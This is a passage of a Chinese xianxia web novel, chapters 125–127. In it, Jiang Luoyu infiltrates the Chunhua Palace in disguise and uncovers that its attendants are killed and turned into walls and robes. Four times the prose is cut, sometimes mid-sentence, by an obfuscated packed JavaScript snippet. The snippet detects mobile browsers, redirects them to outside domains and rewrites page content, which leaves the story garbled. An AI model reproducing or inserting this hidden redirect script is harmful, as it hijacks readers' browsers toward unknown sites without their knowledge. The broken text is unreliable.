“密室里那些蓝色的火是怎么回事?”姜洛玉在灯光下问道,额前发丝的阴影打在脸上,唇上的痣颜色愈发鲜红,莫名多了几分诡艳。 这些天他一想问丛明雪关于蓝火的事情,对方像是能猜到一般,直接上来动手动脚。若是日头正值黄昏,免不了拐到榻上,折腾几次下来弄得他都不敢问了。 心魔被那红痣晃直了眼,逼着自己收回视线,道:“那火名为水云凌,长在浮屠境的生潮山里,是专门用来压制心魔的。” “只要我有异动,本体就会去密室点火,一边抄那些……抄完再一把火点燃,把那些东西放进密室特殊的空间里。” 想起被水云凌灼烧的日夜,心魔恨得牙痒痒:“那火烧不疼肉身,也不烧没有心魔的人。” “它烧的是本体的神魂,是识海里的心魔。” 姜洛玉眸子颤了颤,道:“你这次出来是想做什么?” 做什么? 心魔被这句话问住了,好半天才回道:“我只是想来……见你。” 刚才的提议被本体无情拒绝,他气不过,于是暂时吞了沉睡的道义,这才揍晕本体获得了身体的控制权。 他本来是想见到姜洛玉之后,借机满足那些粘腻不堪,混杂着肉.欲和极端掌控欲的念头。 可当真的见到人后,他反而想不起那些东西,满脑子都是比火更烈、比海更深的恨,还有深深的自我厌弃。 前者是对着神主,后者是对着自己。 他憎恨让他和道侣分离的神主,也憎恨救不了道侣的自己,同样憎恨把自己分裂出来的本体。 他意识到自己比起“心魔”来说,更像是被功法抽离的情绪。 他只是个牵制道义的工具,可他甘之如饴。 因为只有这样,关于姜洛玉的情绪才不会被道义吞噬。 “看吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400239|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 一盏格外明亮的小灯放在了青年脸侧,照亮了那双黑漆漆的眸子。 姜洛玉:“看完乖乖回去,心魔占体时间过长会对识海有不可逆转的影响。” 而且很容易走火入魔。 心魔伸出手,想要触碰那张让他魂牵梦萦了三百年的面孔。 青年侧头躲过了触碰。 “你讨厌我?”心魔声音干涩。 姜洛玉摇头:“我不讨厌你。” 只是这种类似人格分裂一般的存在,让他属实有些接受无能。 心魔:“可我和本体本来就是一个人,我们记忆共通,神魂共享。” “我只是……性格不太好。” 他已经很努力的压制本能了。 姜洛玉看着心魔通红的眼睛里涌上来的水意,咳了咳,伸手摸了摸心魔的头:“我知道,但现在你们是两个独立的意识体。” 心魔起身站到姜洛玉面前,蹲下去沉默良久,抬头对上姜洛玉的眼睛,认真道:“如果,我愿意回归本体呢?” 蹲在身边的男人身形高大,即便是处于弱势的姿势,依旧给姜洛玉带来不小的压迫感。 姜洛玉:“心魔只能被斩落在熔渊。” 心魔:“我不一样。我是本体分出来压制道义的,我的归宿从来不在熔渊。” “我了解道义的弱点,解决道义……本体就不用我牵制道义了。” 姜洛玉:“你要怎么做?” 面前的人陡然间从青丝切换成了银发,那身似有若无的煞气彻底消失。 “心魔呢?”姜洛玉眼皮一跳。 丛明雪抿了抿唇,起身点燃了桌面伪装成噗通蜡烛水云凌,淡淡道:“揍晕了。” 在祭台上半死不活,留了一口气压制道义。 一双露着半截藕臂的手掐灭了焰心。 姜洛玉:“心魔都晕了,怎么还和自己过不去?” 丛明雪瞳孔缩了缩,回忆起刚才心魔的话,一言不发地把人抱在怀里,擦拭着姜洛玉手指沾染上的蜡油。 “它离开本体太久了,已经学会了撒谎。” 姜洛玉若有所思,所以刚才哪一句是假话? 吸收了丛明雪带回来的魔晶和魔植,闹腾许久的魔核这才安静下去。 此时距离空杞仙帝举办宴会还有不到十天。 姜洛玉终于摆脱了看什么都像要杀人的眼神,转而开始和众人一起打磨即将扮演的人设。 皮囊过于相似反倒惹人厌烦,而且目的性太明显。于是姜洛玉并上花神大刀阔斧,用瓷土捏了三天三夜才确定最终接近空杞仙帝的容貌。 少年身量,一张脸精致得不行,眼神带着柔弱善良还有小白花的坚韧,在众多和扶乐相似的脸里一枝独秀,和正主相比…… 二者之间唯一的相似之处,就是那双琥珀色的眸子,连带着眼角翘起的弧度都一模一样。 姜洛玉正站在会客厅外欣赏捏完的壳子,刚要变上一变,一只身上带着露水的彩色蝴蝶就飞到了眼前。 浮白变回人形,对着姜洛玉单膝跪地:“境主,两天后春花宫即将选一批仙侍入宫。” “知道了,我去看看人设背景出来没。” 125.穿越第一百二十五天 丹心居,宅子最西侧,姜林飞正奋笔疾书,窗户上趴着化为原形晒太阳的离昼。 这次姜洛玉忙着和花神捏脸,写人设背景的活就被他揽到了手里。 这两天断断续续完成了初稿,如今正在做最后的整合。 有着不务正业浸淫网文多年的经历,姜林飞对于写这种东西简直得心应手,就是有些具体事物他没办法转化成仙界的,敲定终稿后还得需要离昼修缮。 正午的阳光暖得不行,离昼昏昏欲睡,半阖着眼看院子里的姜家兄妹对打,角落里还有两个互相喂招的师兄弟。 “成了!” 姜林飞的喊声震走了树上的灵雀。 他拿着一叠硬纸板,把终稿交给了离昼。 离昼用神识扫了一眼上面的内容,蛇躯一震,吐着信子几下修补了里面缺失的关键。 “二哥,人设写好了吗?” 姜洛玉跨进丹心居,身后跟着道义状态的丛明雪。 《天剑诀》的道义不能一直压制,还得时不时出来放放风,不然压制到极点会和心魔打架。 虽然道义不会主动做出什么特殊的举动,话也少得可怜,好在还算听话,他一招手就跟在他身后来了此地。 姜林飞拿着那一叠纸挥了挥:“好了好了,小弟你来得正是时候!” 道义听见声音转头看去—— 《万人嫌小白花的认爹手册》 道义:“……?” 姜洛玉神情微妙地接过看了一遍。 根据手册里,此行他的新壳子化名为青眠,是仙灵园刚化形的一株青月白眠花。 这花没什么别的能力,就是能激发闻到它香味儿的人心中的恶念,进而对它做出发泄恶念的动作。 只要青月白眠花化形前能撑过八十一次恶念,就能得道升仙。 期间青眠在其中一次恶念下险些死去,恰好得到了扶乐布雨降下的甘霖才幸免于难。 青眠只看见了扶乐面纱之上的那双琥珀色的眼睛,于是暗下决心化形之后也要像扶乐一样向善,化形后得知恩人去世后更是坚定了自己的念头。 不过化形后的特性仍在,青眠处境艰难,在仙灵园当值那是路过的狗都要踹一脚的地步,还被里面的其他仙植霸凌,浑身上下没什么好地方。 但他依旧对所有人笑脸相迎,脏活累活抢着干,还会在别人的恳求下替人背黑锅。 恰好听说空杞仙帝的春花宫在招人,青眠就想去远远见一见,究竟是什么样的人才能养出恩人这样的好人。 “万人嫌”是为了突出惨,“小白花”是突出坚韧。 姜林飞抱着人设背景说得头头是道,保证空杞仙帝只要能注意到姜洛玉,一定会对他的凄惨和坚韧有所动容。 院内其他人在声音里逐渐停下了动作。 姜林廷深深看了姜林飞一眼:“你当初就是看这些把脑子看坏的?” 姜林琬蹙着眉,根本不忍细想。 至于谢子宁和齐怀仁听得云里雾里,不过倒是听懂了人设的内核——又惨又善良。 姜洛玉翻着人设背景喃喃道:“万人嫌、圣母、小白花、单纯傻白甜……好像有点扁平?” 姜林飞:“这叫做适当留白,而且万一那仙帝真不喜欢,还能方便你随机应变。” 姜洛玉点点头,决定先按照这么个主干表现人设。 一天后大门口,众人齐聚相送。 姜洛玉顶着一张我见犹怜的脸,琥珀色的眸子湿漉漉的,像是刚出生不久的幼鹿。身形单薄,脖颈到锁骨处还有大片淤青,看着不禁令人为之心惊。 丹田里,神界雏形尽职尽责地运转着,确保他这一副少年模样不会被空杞仙帝看穿。 身边恢复正常的丛明雪也变做了冷峻少年。 说实话姜洛玉还是很怀念少年版的丛明雪的,看了两眼,哥俩好一般跨上了他的肩膀,眉飞色舞道:“大家不多说,祝我此行旗开得胜就好。” “那就祝烛山君马到成功。”雨神点了点头,嘀咕着,“不愧是捏了三天三夜的脸。” 就连嘴角的弧度都恰到好处,让人见了不禁心生感慨。 “你确定这样能行?”何在夕看着对面的人,有些不认同,“之前那些,怎么说长相都和扶乐有个三四分相似。” 姜洛玉粲然一笑,露出两颗没那么尖的虎牙:“眼睛是沟通心灵的窗户。” “到时候空杞仙帝看见我这双眼睛,一定能读懂我里面的出淤泥而不染。” 众人:“……” “噗嗤”一声,姜林飞最先笑了出来,被姜林琬用刀鞘抽了抽后腰。 林朝盈抱着自己的本命兽宠,晃了晃九尾狐的爪子:“玉玉去吧。” 姜景安满脸一言难尽,憋出来一句:“事成之后记得早点回来。” …… 姜洛玉“嗯”了又“嗯”,挥别众人,和丛明雪携手离去。 因为春花境禁止乘坐飞行仙器,两人只好御空而行。好在春花宫离菡萏街没那么远,正式选人前他们能到达目的地。 神界雏形:“这么利用一个死人,你不觉得羞愧吗?” 姜洛玉低头看了眼丹田:“那空杞仙帝不禁止有人模仿扶乐,是不是该一把火烧了?毕竟他可是亲爹本爹。” 神界雏形:“……” 姜洛玉:“你觉得羞愧那就绝食谢罪吧。” 神界雏形“哦”了一声,恼羞成怒地开始反刍神骨。 仙宫远远望去云雾缭绕,高耸楼阁半遮半掩,宫门口挤满了人。 “春花宫怎么……这么红?”姜洛玉离近了才看清宫墙原来是暗红色。 丛明雪看准一处没什么人的地方,扯着身边人落了下去:“空杞仙帝独爱绛红。” 姜洛玉“嘶”了一声,这宫墙……红得像血,也不知道是不是他的错觉。 宫门口,寒柏金仙敲了敲身侧鼓面涌动的登闻鼓。 神识扫过下方过来参选仙侍的众仙,被那些几乎没什么区别的脸冲击得识海一震。 这是他当值春花宫总管事的第一千八百年,同样,也是依旧找不到接班人的一年。 “静一静。”寒柏咳了咳,“此次参选仙侍,要求如下,不合要求者自行退出。” “地仙修为之下。” 宫门口“哗啦哗啦”少了四分之一的人。 “飞升五百年之内,降生两百年之内者。” 人又少了三分之一。 “男修。” 又少了二分之一。 “最后一条,”寒柏抬了抬眼,“本体为仙植、灵植者。” 所有条件筛选完毕,场上只剩下了五十三人。 仗着神界雏形的结界扎实,姜洛玉开始侧头和丛明雪悄悄咬耳朵:“你说这到底是在选什么?” 要不是他们能在结界里现捏现改,根本留不下来,但这些要求怎么听怎么不对劲儿。 丛明雪:“暂时看不出来,先静观其变。” 两人一边说着一边向前移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406029|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,烈日打在红墙上,越靠近反而从心底涌上来一股寒意。 姜洛玉冷得直打哆嗦,看着墙上密密麻麻如同年轮一样的纹路,有些反胃。 寒柏满意地点了点头,注意到在场罕见的两张和扶乐没那么相似的脸之后,眸光微动。 良言难劝该死的鬼,收回视线指了指大鼓,道:“击鼓者不响的也回去。” 金仙积威之下,在场的仙修都不敢造次,排着队上前。 姜洛玉拿起鼓槌敲了一下,沉闷的鼓声回荡在仙气飘飘的广场上。 他对着寒柏露出个怯生生的笑来,配合着从脖颈蔓延到锁骨的淤青,更显脆弱。 寒柏对上姜洛玉的笑,先是生出一点怜悯,心底又猛地钻出一股厌恶。 “快进去。”他黑着脸抽走少年尚未放下的鼓槌。 姜洛玉继续微笑,然后缓步走入宫门。 回首时,丛明雪的鼓槌刚好敲在鼓面上。 没有任何声响。 五十三人里面,最后只留下来二十三个。 姜洛玉选了个不前不后的位置站着,听上面的管事训话。 寒柏:“春花宫从来都不缺仙侍。你们这次进来,不过是为了服侍五天后参宴的仙君,若是存了不该有的心思……” “因果自负。” 神界雏形:“这人说话怎么这么后盾,不缺仙侍选什么选?而且长眼睛的都能看出来,这些人过来都是为了找爹的吧?” 姜洛玉不动声色地看了眼宫道两侧流动的红墙,语重心长:“口口啊,你说仙帝早就疯了的可能性有多大?” 神界雏形:“算你倒霉。” 姜洛玉:“……” “不过这种喜怒无常的疯子应该很好骗。”神界雏形痛苦无视飞来飞去的无相球,“只要你能拿捏住让他们平静下来的点。” 训话完毕,走在去往仙侍住处的道路上,姜洛玉眼神乱飞,好不遮掩地打量往来匆匆的其他仙侍。 那些人皮肤白得像雪,头发黑得像墨,穿着统一的服侍。 绛红法衣上绣着金色的鬼车鸟,腰封中间的翠绿玉石散发着柔和的亮光。 姜洛玉看见了那些面料上……和宫墙一样的纹路。 “主人,神君一会儿能进来吗?”无相球停止了日常活动,终于放过了动弹不得的神界雏形。 姜洛玉:“大概。” 春花宫的仙侍统一住在东北角的侍仙居,一人一间十几平米的卧房,私密性不错,就是憋屈些。 领到了八百八十八号腰牌后,姜洛玉去了自己的房间。里面东西不多,一张床还有放置衣物的柜子,以及洗漱用具。 洗漱用具旁边还摆着两个瓷瓶,管事方才千叮咛万嘱咐,当值前一定要涂在面颊和手腕上,没了就去找侍仙居的管事姑姑再拿。 他打开瓷瓶闻了闻,里面冒出一股甜腻腻的花香。 “笃笃——” 紧闭的窗外传来了敲击声。 姜洛玉放下瓷瓶,打开了一条缝隙。 一只胖乎乎的灵雀站在窗棂上,以迅雷不及掩耳之速挤了进来,黑漆漆的外表配上黑豆一样的眼睛,让他忍不住戳了戳,将灵雀戳了个趔趄。 “怎么是你?” 心魔晃了晃脑袋,尴尬地将旋转到后背的鸟头掰正:“他答应让我每天和你相处两个时辰。” 喜气洋洋的声音听得姜洛玉有些无奈,转移了话题:“外界有什么异常吗?” “有,这座宫殿是活的。” 126.穿越第一百二十六天 “哐当——” 敞开的木窗无情落下,姜洛玉只好重新开窗,又用窗撑支好,最后把灵雀放在肩膀上。 神界雏形展开结界笼罩住一人一鸟。 一想到自己堂堂神界之土如今竟然沦落到成为辅助性法宝,它就忍不住悲从中来,假哭了几声。 没去理会突然抽风的神界雏形,姜洛玉打开了不起眼的黑木柜,里面规规矩矩叠着仙侍要穿的法衣。 “既然宫墙是活的……那这些呢?” 腰封放在法衣最上,萤绿色的玉石在没什么光源的地方更显夺目,几乎让人移不开眼睛。 神界雏形:“你怎么不问我?” 虽然它不知道。 姜洛玉:“我知道你在想什么。” 神界雏形:“……?!” 它是不是最近反刍反傻了…… 姜洛玉:“解决完春花境的事就带你去找神骨。” 神界雏形:“……好!” 心魔一下跳到了腰封上,用爪子踩了踩。 “你怎么乱跳?”姜洛玉一把拎起心魔,“这东西邪得很,粘上下不来怎么办?” 心魔蹭了蹭道侣的手心:“我自有分寸,这东西本质上和宫墙没有差别。” 姜洛玉:“也是活的?本命法宝?” 心魔:“嗯。其他的我不太确定,这上面和宫墙一样,都有屏蔽天机的东西。” “宫墙给我的感觉很不好,我没敢靠太近。” 姜洛玉了然点头,屏蔽天机的东西对丛明雪有用,所以…… 他尝试摸了摸法衣和腰封的布料,浑身上下立马起了一层鸡皮疙瘩,想到这东西是活的更是忍不住犯恶心。 奈何现在只有一个办法能知道这东西的来源,于是小心翼翼催动功法。 没有被瞥视的感觉,布料自成一体,不在主人操控下。 铺天盖地的记忆砸进脑子,涌入识海里的无尽荒原。 金碧辉煌的宫殿、遍地残缺不堪的尸首、沉默地红衣男人,漂浮在半空的纯白花朵根系钓满了残肢,血流遍了整间宫殿,哀号遍野。 那些尚未完全融化的尸体穿着仙侍才有的法衣,长相和扶乐没有丝毫差别。 “救救我、救救我!” “我不要飞升了,我要回家!回——” …… 亡魂的控诉回荡在荒原之上,有些记忆甚至显化出泥泞的人形在枯草上爬行,拖出一条又一条血痕。 “嗡”得一声,玄衣剑飞出湖底,将那些不受管教的外来记忆削了个粉碎,埋在枯草堆里变成了养料。 姜洛玉捂着头,一时间共情太多亡魂的记忆让他忍不住干呕:“呕——” 神界雏形:“怀了?” “闭嘴!”姜洛玉无语地抹了把脸,“这东西的原料是……” “人。” 活生生的人。 那些被选进来妄想一步登天的仙侍。 他们上好的血肉成为了肥料,边边角角做成了法衣,魂魄融入进绛红的宫墙,成为了永远无法踏入轮回的怨灵。 记忆里红衣男人的长相,和他在留影石里见过的空杞仙帝……一模一样。 心魔听完姜洛玉的描述,笃定道:“你说的那花瓣洁白无瑕、根系漆黑的花朵,与书中关于阴阳转生花的描述别无二致。” 姜洛玉咳了咳,从芥子里拿出茶水喝了好几壶才压下心里的恶心感:“春花宫经常选人的真相已经水落石出了。” 心魔:“看来空杞那个老东西早就走火入魔了。” 为了复活儿子已经到了丧心病狂的地步。 “不过仙帝走火入魔,天道却无动于衷……”心魔蹦到了姜洛玉的领口,向下瞟了两眼。 粉粉的,很好看。 姜洛玉:“只有两种可能。第一,他有办法瞒过天道,第二,他和天道是一伙儿的。” “那还需要按照计划来吗?”心魔转移着注意力,“无论是哪种情况,这人都明摆着不是什么好人,与他合作与虎谋皮。” “不如我出去叫花神他们过来一起替天行道?” 姜洛玉一把揪住心魔的后颈,捧在手心里搓了搓:“然后打死他惊动神主?仙帝陨落整个仙界都会为之色变,神主不过来看热闹都不符合神经病一样的性格。” 小心思被看穿,心魔整个鸟都不好了,有气无力:“……不然呢?” 姜洛玉:“借刀杀人。” “你是说……”心魔瘫在姜洛玉的手心里,任凭对方用手指撸着毛,“笙舟仙君?” 那个坑害空杞仙帝未果,又没有确凿证据把他按死在刑场的仙帝……不,如今这人已经“沦落”为无涯境统管苦海天的仙君。 “没错,这人以前就是仙帝,应该很了解怎么把一个‘失德’的仙帝拽下帝位。” 姜洛玉说完躺到床榻上,开始闭目养神散去功法的后遗症。 次日一早。 晨间的金铃脆响穿透厚重的门窗,预兆着这些新入宫的仙侍应该出门集合。 姜洛玉打开柜门把法衣喂给神界雏形,又幻化出来一套一模一样的。 玉盆盈满了自动灌注清露,按照流程他应该先用清露界面,再给自己敷上一层厚厚的香膏。 姜洛玉看了半天,最终挖了两坨塞给神界雏形。 神界雏形:“……” 通体银白的灵雀蹭了蹭少年的耳根,口吐人言:“阿玉,我去联络笙舟仙君,你多加小心。” “若是有什么不对的地方,这里有我的神力,捏碎不仅可以攻击替命,还能缩地千里。” 灵雀的尾翎被拔了下来,插在了少年的耳后。 姜洛玉揉了揉灵雀的脑袋:“好,知道了。” 走出屋内,布置着空间阵法的院子里站了二百人左右,清一色地身着绣着鬼车鸟的法衣,三三两两聚在一起。 姜洛玉没有用神识扫人,而是直接看向院子里的众仙侍。 “咔嚓——” 腰封上被大力捏碎的玉石再度恢复如初。 神界雏形仗着没人能发现它,大摇大摆控制着生姜苗从脊骨钻出,把在场的人脸都看了一遍。 神界雏形:“……?” 它瞎了么,怎么都长一个模样? “滚回来,看得我犯恶心。”姜洛玉屏蔽了神界雏形自动反馈的记忆,把自己的脸改造得和这些人一样,心中“呸”了一口,想来那香膏也有猫腻。 不过在场的好像都没意识到这一点,他们言谈自如,仿佛没有顶着一模一样的脸。 仙侍居一分为四,将近九百多仙侍分别住在东南西北四院。 他如今入住的为西院,西院掌事为真仙修为的点麓姑姑。 院门口金铃再度响起,一袭暗红裙装的女人走了进来,模样略显刻薄。 点麓扫过在场众人的脸,点了点头:“距离仙宴开启还有五天。前三天,你们要跟在我身边学规矩,后两天,你们得剔除满身的泥土腥气,这样才能近身服侍赴宴的仙君。” 那声“泥土腥气”咬得格外重,听得在场众仙各怀心思。 最前面的一人朗声道:“点麓姑姑,如何才能剔除这泥土腥气?我们本体都为灵植,那点根植于神魂的土气是消散不了的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410733|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点麓眸子里划过一道红光:“很简单,到时候……你们就知道了。” 姜洛玉不想知道。 他怎么想也没想到,进来当仙侍光是学规矩就要花上三天三夜。 今天是第一天,点麓让他们并排列队站在院子里,手捧着木制托盘,托盘上放着一颗滑如镜面的玉珠。 这东西是特质的仙器,用上仙力小心控制才能确保玉珠不会来回滚动。 他们需要在玉珠不动的前提下站满半天时间,下午再练习快速移步,若是玉珠动了,便要领罚二十鞭。 在此之前,没人知道在春花宫当仙侍的规矩居然如此严苛。他们都是上仙、地仙修为,被点麓这真仙七转的修士抽上二十鞭子几乎没了活路。 眼看着下面窃窃私语的声音越来越大,点麓掏出来个巴掌大的瓷瓶:“二品生骨丹,品质在极品,二十鞭下去到这儿领一颗服下。” “若是让我发现你们故意乱动,不仅没了丹药,惩罚加倍。黄昏前依旧无法成功走上百丈的,十鞭作为惩戒,明白了吗?” 众仙:“明白!” 丹药易成,极品难求。 更何况极品丹药的药力奇佳,吃下去不仅没有丹毒,没准还能让身体伤处更为强健。 “打一巴掌给个甜枣,这是把你们当狗训了。”神界雏形直哼哼,尽心尽力地罩住姜洛玉和托盘上的东西。 姜洛玉:“真乖。” 神界雏形:“……” 一天结束,其他人要么伤痕累累要么筋疲力尽,姜洛玉靠着神界雏形神清气爽。 “诶,李兄你怎么伤得这么重?我这儿还有丹药,你都拿去吧。” 一朵迎风而立的小白花晃荡在姜洛玉眼前。 对面的少年满眼不忍,看着青年背上尚未愈合的伤口,从自己怀里掏出来了一瓶丹药。 最后倒出来两粒可怜巴巴的一品补灵丹,还是下品。 今天的学习结束后,点麓让他们挨个洁了面,确保那些滑腻的香膏没留下一点。 于是姜洛玉能清晰地看见对面少年那张……和扶乐一模一样的脸。 “道友,我这儿还有些多余的丹药。”姜洛玉扬着笑脸走了过去,把丹药递给了面色惨白的青年,“快些服下吧。” 青年有些犹豫,毕竟对面的少年才上仙二转修为:“道友,我伤得不重……” 姜洛玉倒出来七八颗极品补灵丹,语气真诚:“我真的有很多。” 青年愣了一瞬,终于拿走一颗,拱手道:“大恩不言谢,我名竹胜,道友今后有什么事尽管开口。” 少年紧皱的眉头也终于舒展:“我叫秋陵,太谢谢你啦。” 说完自来熟地握住姜洛玉的手上下晃了晃。 两双琥珀色的相互映照,姜洛玉瞳孔一缩,意味深长道:“不用谢,我只是见不得人受苦。” 秋陵有些惊讶:“道友你也是这般想的吗?” 神界雏形:“哇,你遇到竞争对手了。” 没去理会神界雏形的阴阳怪气,姜洛玉给完丹药径直走进房锁好门。 “阿玉。” 姜洛玉落进了一个满是冷香的怀抱。 伪装褪去,他封了神界雏形几个法宝对外的感知,闭眼承受着突如其来的亲吻。 带着些乌黑的发丝糊住了眼睛,热度攀升,一刻钟后才有下降的趋势。 丛明雪蹭了蹭自家道侣发红的眼尾,这才开口:“有眉目了。” “先不说这个。”姜洛玉语气意外严肃,“你猜我刚才遇到了谁?” 丛明雪眼皮一跳。 “我遇到了扶乐的转世。” 127.穿越第一百二十七天 时间回到半日之前。 无涯境多潮水,少陆地,宫殿和房屋都扎根在低矮的云层之上,厚重的云雾托着那些夸张的建筑,琉璃色的砖瓦在阳光下折射出迷幻的色彩。 紧赶慢赶来到了苦海天,丛明雪落到一片浮云上,下一秒心魔占据了躯体。 心魔活动两下脖子,果断趴下去撩了一把海水送进嘴里。 “呸呸呸……这水还真是苦的,一点咸味也没有。” 没等本体发作,心魔直接退回了识海。 可那股苦意却顺着舌根一直蔓延到了心口。 苦海无涯。 无涯境的水都是苦的,同样也是一种不可多得的灵药。只有寿命将尽的人喝进嘴里是甜的,一口便能洗去一生中受到的所有苦难,在极乐中离开人世。 须发皆白的云精从云层钻出,对上了一双葱绿色的眼睛。 她察觉到对面人身上的草木气息,斟酌着开口:“不知道友有什么事?” 丛明雪:“我想见笙舟仙君,不知苦海殿如今位于何处?” 云精:“苦海殿是这天上最大的宫殿,您一瞧便知。不过仙君最近没在苦海天,他出去了。” 丛明雪抹除了云精的记忆,继续向上飞去。 穿过大大小小数不清的殿宇、低屋,果真看见了苦海殿,殿门口站着两个目光如炬的守卫。 洞天之内除了一个仙君洞主外,还会设下一个实力稍弱的副洞主。 等到丛明雪找到副洞主所在,只看见了一团白花花的云雾。 云子逸半梦半醒间觉得有人在看他,目光阴恻恻的,似乎想将他抽筋扒皮,可那诡异的眼神又瞬间消失,变成了冷冰冰的注视。 “云逸仙君,你可知笙舟仙君去了何处?” 笙舟那个王八蛋吗? “你问他啊,他去报仇了。” 黄昏的仙侍住所有些黑,姜洛玉点亮了桌面的灯,表情有些一言难尽。 “你说笙舟仙君已经过来了?” 丛明雪点头:“没错。我想他应当混迹在这批仙侍里。” “扶乐转世又是怎么回事?” 姜洛玉:“我刚才碰见个少年,他长得和扶乐一般无二。要知道这些奔着认爹来的人,往往都是不敢和扶乐太过相似的,最多只有个七八分。” “我觉得奇怪,神界雏形又说他没有伪装,真的只有上仙修为,便上前用功法窥探了他的记忆。” 灯光摇曳,里面的烛火扭曲成了张牙舞爪的兽影,姜洛玉的声音越来越低。 “我看见了一个高大的男人。他身上的法衣红得像血,旁边单膝下跪的仙修称男人为‘仙帝’,而记忆的主人——” “叫了他一声‘爹’。” “啪——” 烛火爆鸣,隐隐有窜出灯罩之势。 姜洛玉摊了摊手:“不过我们的扶乐小朋友本人似乎并不知晓这段记忆,他脑子里还有一些奇奇怪怪的东西,强行窥探估计会打草惊蛇。” “比起转世,更像是换了个壳子原地复活。” “可扶乐当年是当着众人的面魂飞魄散的。”丛明雪沉默一瞬,“也不排除天地灵物独得天道钟爱,残存了一点残魂。” 要不然空杞也不会堆了这么多人的血肉试图复活他。 神界雏形十分激动,脑补了一大串爱恨情仇:“那个李兄不会就是笙舟仙君吧?否则扶乐的转世怎么会跟在他身边?” 丛明雪:“李兄又是谁?” “哦,我过去的时候,扶乐正对着当天唯一挨罚的仙侍嘘寒问暖,两人很是熟悉。”姜洛玉灭了火烛,拿出芥子里的夜明珠,“那人给我的感觉很不对,我就没有贸然用功法探查他的底细。” “不过既然确定笙舟仙君已经入局,那就说明他对这次复仇十拿九稳。” 神界雏形:“那我们先让他们狗咬狗,之后再坐收渔翁之利。” 姜洛玉:“当然不,我们的目的是获得春花境‘仙帝’的信任,近而得到一整个仙境的助力和神主周旋,所以要站队。” 神界雏形:“站在笙舟仙君那边?” 姜洛玉摇头:“怎么可能?做人要学会两手抓,而且还要留一手。” 丛明雪心有灵犀:“需要我做些什么?” 姜洛玉:“你回去让大家收拾收拾都进秘境,做好随时跑路的准备。不管神主现在是个什么状态,身后又有没有天道,他没来抓我们,就说明他还没到全知全能的地步。” “我在这儿先接近扶乐他们两个,看看那人是不是笙舟仙君,是的话就向他透露结盟的意思。等到联手杀了空杞,再告诉他仙界有变的内幕,若他是神主的人,就自认倒霉赶紧跑,不是的话更好。” 神界雏形:“还有一手呢?” 姜洛玉:“宫宴上,我会尝试接近空杞。” 神界雏形十分不屑:“正主都活过来了,你个赝品过去有什么用?” 姜洛玉:“我猜正主根本不会出现在空杞面前,而且,你还是不够了解我的功法。” 神界雏形:“……” “先休息吧。”丛明雪摸了摸自家道侣的脸,在他额头轻轻落下一吻。“我明早再回去。” 次日一早。 没等金铃响起,姜洛玉就早早出去了,开始贴合人设地清洁地面。 虽然地上有清洁法阵,此举纯属脱裤子放屁。 “青眠道友,你怎么也在洒扫?”扶乐有些惊喜,眨了眨眼,心间不仅涌上一股暖流,感觉从来没见过如此志同道合的朋友。 可比起开心,他看着青眠那张脸,更多的是一种孺慕的感觉,宛如雏鸟即将归巢。 《太一万法无相诀》默默运转着,程度不深不浅。姜洛玉清楚地知道对方现在是把自己当爹了,收拾好那丝微妙的心情微笑:“我这人闲不下来,喜欢给自己找点事做。” 扶乐瞥见少年领口蔓延上来的青紫,又眨了眨眼:“可你身上的伤……是不是有人欺负你?” 姜洛玉摇了摇头,整个人散发着圣母的光辉:“无碍,就是看着吓人点,也没人欺负我。我都是自愿的,要不是我替小六抗下惩罚,他身体那么弱肯定不好受。” 神界雏形:“小六是谁?” 姜洛玉:“随口乱编的。” 可这随口乱编的话,听在扶乐耳朵里就变成了事实。他顿时心头一酸,眼泪汪汪地看着姜洛玉,难过不了一瞬,又笑着抢过他手里的扫帚:“我来吧,青眠道友你快歇息。” 假意推脱两下,姜洛玉坐到了树下的石墩上,一副半死不活的模样。 神界雏形:“他……是不是脑子不太好使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421964|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 姜洛玉“咦”了一声:“你居然能看出来?” 神界雏形:“……我又不是傻子。” “你能指望一个残魂复活的人脑子有多好?”姜洛玉扯了扯身上的法衣,“这孩子还挺可怜。” 